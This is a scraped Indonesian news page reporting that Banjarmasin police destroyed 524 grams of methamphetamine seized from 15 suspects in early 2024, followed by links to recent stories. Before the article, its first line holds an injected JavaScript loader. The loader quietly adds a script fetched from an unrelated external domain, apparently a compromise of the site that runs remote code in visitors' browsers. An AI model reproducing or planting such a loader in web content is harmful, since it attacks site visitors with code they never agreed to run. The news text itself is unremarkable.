(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Sabu 524 Gram Dimusnahkan, Tangkapan Dua Bulan Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Narkoba (Satresnarkoba) Polresta Banjarmasin musnahkan barang bukti narkoba hasil pengungkapan kasus selama dua bulan terakhir, Kamis (29/2/2024) siang.

Sebanyak 524,37 gram sabu dilarutkan ke cairan pembersih untuk kemudian dibuang ke tempat yang aman.

Proses pemusnahan berlangsung di lobi Satresnarkoba Polresta Banjarmasin diperlihatkan langsung kepada para tersangka yang dihadirkan saat pemusnahan.

Baca juga: Lagi Cari Kangkung, Yusuf Bergegas Pulang Dapati Rumahnya Terbakar

Kapolresta Banjarmasin, Kombes Pol Sabana Atmojo melalui Kasatnarkoba Kompol R Prawan Putra Bala Dewa mengungkapkan, barang bukti sabu yang dimusnahkan merupakan hasil pengungkapan sepanjang Januari hingga Februari 2024.

Selama dua bulan terakhir ini pihaknya berhasil menangkap 15 tersangka dari 12 laporan polisi. Beserta barang bukti lebih setengah kilogram sabu.

“Yang kami musnahkan barang bukti sabu seberat 524,37 gram. Itu hasil pengungkapan kasus narkoba yang ditangani Satresnarkoba bersama jajaran Polsek,” kata Kompol Prawira.

Baca juga: Petugas Ketertiban TPS Meninggal Dunia, KPU Banjarbaru Proses Pengajuan Santunan

Masih lanjut Kasat Resnarkoba, barang bukti sabu yang dimusnahkan jika dinilai dengan uang mencapai Rp786 juta.

Hasil pengungkapan kasus narkoba dan pemusnahan barang bukti tersebut, Polresta Banjarmasin telah berhasil menyelamatkan sedikitnya 7.866 jiwa dari bahya penyalahgunaan narkotika.

Sementara para tersangka dijerat dengan pasal 114 ayat 2 jo pasal 112 ayat 2 jo Pasal 132 ayat 1 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika.

Baca juga: Produk Kriya Rotan Merah HSU Menarik Hati Pengunjung INACRAFT 2024

Pihaknya kata Kompol Prawira terus berkomitmen mengungkap peredaran narkoba di wilayah hukum Polresta Banjarmasin.

Dirinya mengharapkan peran aktif masyarakat untuk membantu polisi dalam memberikan informasi ataupun melaporkan terkait penyalahgunaan atau peredaran narkotika.

Baca juga: Musdesus Palingkau Sejahtera Tetapkan Warga Penerima BLT Dana Desa 2024

“Keberhasilan pengungkapan kasus selama ini juga tidak terlepas dari bantuan dan dukungan masyarakat,” pungkasnya.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

3 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

3 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

4 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

4 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

5 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

6 jam ago

This website uses cookies.